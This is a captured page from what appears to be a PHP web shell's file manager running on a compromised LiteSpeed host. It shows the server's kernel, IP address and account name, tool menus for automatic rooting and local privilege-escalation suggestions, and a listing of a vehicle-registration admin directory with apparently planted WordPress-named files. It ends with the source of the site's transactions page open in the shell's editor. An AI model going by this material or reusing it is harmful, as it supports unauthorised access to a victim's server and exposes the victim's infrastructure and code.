Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
car.owner /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
qr_codes
[ DIR ]
drwxr-xr-x
2025-11-15 15:55
uploads
[ DIR ]
drwxr-xr-x
2025-11-15 19:42
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
applications.php
10.83
KB
-rw-r--r--
2025-11-15 20:31
dashboard.php
11.46
KB
-rw-r--r--
2025-11-15 20:31
error_log
6.23
KB
-rw-r--r--
2026-03-17 00:48
login.php
3.76
KB
-rw-r--r--
2025-11-15 19:37
logout.php
131
B
-rw-r--r--
2025-11-15 19:37
payments.php
14.71
KB
-rw-r--r--
2025-11-15 20:34
settings.php
17.27
KB
-rw-r--r--
2025-11-15 20:36
transactions.php
7.22
KB
-rw-r--r--
2025-11-15 20:34
user_applications.php
6.77
KB
-rw-r--r--
2025-11-15 19:40
users.php
6.75
KB
-rw-r--r--
2025-11-15 20:31
view_application.php
9.53
KB
-rw-r--r--
2025-11-15 19:39
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php require_once '../config.php'; if (!isAdminLoggedIn()) { redirect('login.php'); } $conn = getDBConnection(); $transactions = $conn->query("SELECT p.*, u.email, a.step1_full_name, a.step2_vehicle_type FROM payments p JOIN users u ON p.user_id = u.id JOIN applications a ON p.application_id = a.id ORDER BY p.created_at DESC"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Transactions - <?php echo SITE_NAME; ?></title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css"> <style> :root { --gov-green: #006B3C; --gov-green-dark: #004D2A; --gov-green-light: #008751; --gov-white: #FFFFFF; --gov-gray: #F5F5F5; --gov-border: #E0E0E0; --gov-shadow: 0 4px 12px rgba(0, 107, 60, 0.15); --gov-shadow-sm: 0 2px 8px rgba(0, 0, 0, 0.08); } body { background: linear-gradient(135deg, #F8F9FA 0%, #E9ECEF 100%); } .admin-sidebar { min-height: 100vh; background: linear-gradient(135deg, var(--gov-green) 0%, var(--gov-green-dark) 100%); color: white; box-shadow: var(--gov-shadow); border-right: 4px solid var(--gov-green-light); } .admin-sidebar .sidebar-header { padding: 1.5rem; background: rgba(0, 0, 0, 0.1); border-bottom: 2px solid var(--gov-green-light); } .admin-sidebar .sidebar-header h4 { margin: 0; font-weight: 700; font-size: 1.2rem; } .admin-sidebar a { color: white; text-decoration: none; display: flex; align-items: center; gap: 0.75rem; padding: 1rem 1.5rem; border-bottom: 1px solid rgba(255,255,255,0.1); transition: all 0.3s ease; font-weight: 500; } .admin-sidebar a:hover, .admin-sidebar a.active { background: rgba(255,255,255,0.15); padding-left: 2rem; } .admin-sidebar a i { font-size: 1.2rem; } .admin-content { padding: 2rem; } </style> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-2 admin-sidebar p-0"> <div class="sidebar-header"> <h4><i class="bi bi-shield-check-fill"></i> Admin Panel</h4> </div> <a href="dashboard.php"><i class="bi bi-speedometer2"></i> Dashboard</a> <a href="users.php"><i class="bi bi-people-fill"></i> User Management</a> <a href="applications.php"><i class="bi bi-file-earmark-text-fill"></i> Applications</a> <a href="payments.php"><i class="bi bi-credit-card-2-front-fill"></i> Payments</a> <a href="transactions.php" class="active"><i class="bi bi-receipt-cutoff"></i> Transactions</a> <a href="settings.php"><i class="bi bi-gear-fill"></i> Settings</a> <a href="logout.php"><i class="bi bi-box-arrow-right"></i> Logout</a> </div> <div class="col-md-10 admin-content"> <h2 class="mb-4 fw-bold" style="color: var(--gov-green);"> <i class="bi bi-receipt-cutoff"></i> Transactions </h2> <?php $total_amount = $conn->query("SELECT SUM(amount) as total FROM payments WHERE status = 'paid'")->fetch_assoc()['total']; ?> <div class="alert mb-4" style="background: #d1ecf1; border-left: 5px solid #17a2b8; color: #0c5460; padding: 1rem; border-radius: 8px;"> <i class="bi bi-info-circle-fill"></i> <strong>Total Revenue:</strong> PKR <?php echo number_format($total_amount ?? 0, 2); ?> </div> <div class="card" style="border: none; box-shadow: var(--gov-shadow-sm); border-radius: 12px;"> <div class="card-header" style="background: linear-gradient(135deg, var(--gov-green) 0%, var(--gov-green-dark) 100%); color: white; border-radius: 12px 12px 0 0;"> <h5 class="mb-0 fw-bold"><i class="bi bi-receipt"></i> All Transactions</h5> </div> <div class="card-body p-0"> <div class="table-responsive"> <table class="table table-hover mb-0"> <thead style="background: var(--gov-gray);"> <tr> <th>Transaction ID</th> <th>Username</th> <th>Name</th> <th>Vehicle Type</th> <th>Amount</th> <th>Status</th> <th>Date</th> </tr> </thead> <tbody> <?php while ($txn = $transactions->fetch_assoc()): ?> <tr> <td>#<?php echo $txn['id']; ?></td> <td><?php echo htmlspecialchars($txn['email']); ?></td> <td><?php echo htmlspecialchars($txn['step1_full_name']); ?></td> <td><?php echo htmlspecialchars($txn['step2_vehicle_type']); ?></td> <td><strong class="text-gov-green" style="color: var(--gov-green);">PKR <?php echo number_format($txn['amount'], 2); ?></strong></td> <td> <?php if ($txn['status'] == 'paid'): ?> <span class="badge" style="background: var(--gov-green);">Paid</span> <?php elseif ($txn['status'] == 'rejected'): ?> <span class="badge bg-danger">Rejected</span> <?php else: ?> <span class="badge bg-warning">Pending</span> <?php endif; ?> </td> <td><?php echo date('d M Y, h:i A', strtotime($txn['created_at'])); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html>